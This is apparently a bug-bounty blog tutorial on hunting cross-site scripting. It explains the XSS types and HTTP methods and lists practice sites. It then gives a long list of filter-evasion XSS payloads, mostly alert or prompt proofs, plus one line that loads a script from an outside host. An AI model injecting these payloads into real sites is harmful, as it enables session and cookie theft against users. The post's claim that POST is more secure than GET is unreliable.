How to hunt for XSS (Cross Site Scripting)

Welcome back Hunters

Background Concept About (XSS)

Cross-site Scripting(XXS) attacks are a type of injection, in which malicious scripts are injected into otherwise begin and trusted web sites. XXS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output in generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script.Because it thinks the script came from trusted source, the malicious script can access any cookies sessions tokens or others sensitive information retained by the browser and used with that site.

Risks of the Cross Site Scripting Vulnerability

1.Allow an attacker to inject JavaScript code into the page.

2.Code is executed when the page loads.

3.Code is executed on the client machine not the server

Type of Cross Site Scripting Vulnerability

1. Reflected XSS
2 .Stored XSS
3. DOM Based XSS

Impacts of Cross Site Scripting

1. Cookie theft
2. Keylogging
3. Phishing
4. URL Redirection

How to hunt for XSS

Find a input parameter give any input there if your input reflect back to you or stored any where there may be xss.

After that try to execute any java script code (ex- <script>alert(1)</script>)

basically <script> is an HTML tag i hope you know that about that because not going to discuss about that.
So if you succeed to execute any java script code there then is a xss vulnerability.

Exploitation of XSS

Now you know that where the vulnerability exist actually so you can to exploit and report to the owner.

Stored XSS-

The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping.

Reflected XSS

Reflected XSS are the most frequent type of XSSattacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.

DOM Based XSS

DOM Based XSS is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client-side script, so that the client-side code runs in an “unexpected” manner.

HTTP Requests – GET & POST

HTTP Request is a packet of Information that one computer sends to another computer to communicate something. To its core, HTTP Request is a packet of binary data sent by the Client to server. An HTTP Request contains following parts. Request Line. Headers, 0 or more Headers in the request.

the POST request method requests that a web server accepts the data enclosed in the body of the request message, most likely for storing it. It is often used when uploading a file or when submitting a completed web form. In contrast, the HTTP GET request method retrieves information from the server.

Both GET and POST method is used to transfer data from client to server in HTTP protocol but Main difference between POST and GET method is that GET carries request parameter appended in URL string while POST carries request parameter in message body which makes it more secure way of transferring data from client to server.

Practice site for XXS – cross site scripting

https://prompt.ml/0

http://testphp.vulnweb.com/

Sanitizing Inputs:

Sanitizing Inputs means checking user input before storing it in a database or using it for any other purpose to prevent malicious code injection. A basic example would be SQL Injection which is to be taken in account if you want to store/verify data

XSS Payloads

" onmouseover=alert(9205) bad="

"/>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=prompt() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=prompt(123)//>\x3e

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>

'<script>alert(1)</script>

" onclick=alert(1)//<button â€˜ onclick=alert(1)//> */ alert(1)//

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

/*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"/-alert(1)//><img src=1 onerror=alert(1)>'

javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a

javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/

javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*

javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*

javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//

javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*

--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*

/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

â€œ onclick=alert(1)//<button â€˜ onclick=alert(1)//> */ alert(1)//

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">

<div style="x:expression(alert(1))">Joker</div>

<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>

<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>

<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>

javascript://--></title></style></textarea></script><svg "//' onclick=alert()//

/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*

<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></

'%22()%26%25<><ScRiPt%20>alert(1)</ScRiPt>

' onmouseover=alert(9205) bad='

"><svg/onload=prompt(1)>

"onresize=prompt(1)>

'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E

<<scr\0ipt/src=http://xss.com/xss.js></script

%253Cscript%253Ealert('XSS')%253C%252Fscript%253E

Cybersecbroo

How to hunt for XSS (Cross Site Scripting)

Background Concept About (XSS)

How to hunt for XSS

Exploitation of XSS

Stored XSS-

Reflected XSS

DOM Based XSS

HTTP Requests – GET & POST

Practice site for XXS – cross site scripting

XSS Payloads

About author: Cybersecbroo

1 comment:

Subscribe Us

Labels

Popular Posts

Bug Bounty

Ethical Hacking

Cyber Security

VAPT (Vulnerability Assessment & Penetration Testing)

Featured Post

Demystifying OWASP's Top 10 Vulnerability Risks

Post Top Ad

Recent Posts

News

Contact Info

Meet The Team

Contact List

Contact Form

Vickey Kumar

Spiderz Security

Rajesh Kumar (Author)

Welcome to Cybersecbroo Blog

Tags

Technology

Popular Posts

Cybersecbroo

How to hunt for XSS (Cross Site Scripting)

Background Concept About (XSS)

How to hunt for XSS

Exploitation of XSS

Stored XSS-

Reflected XSS

DOM Based XSS

HTTP Requests – GET & POST

Practice site for XXS – cross site scripting

XSS Payloads

About author: Cybersecbroo

1 comment:

Follow Us

Subscribe Us

Labels

Popular Posts

Bug Bounty

Ethical Hacking

Cyber Security

VAPT (Vulnerability Assessment & Penetration Testing)

Featured Post

Demystifying OWASP's Top 10 Vulnerability Risks

Post Top Ad

Recent Posts

News

Contact Info

Meet The Team

Contact List

Contact Form

Vickey Kumar

Spiderz Security

Rajesh Kumar (Author)

Welcome to Cybersecbroo Blog

Tags

Technology

Popular Posts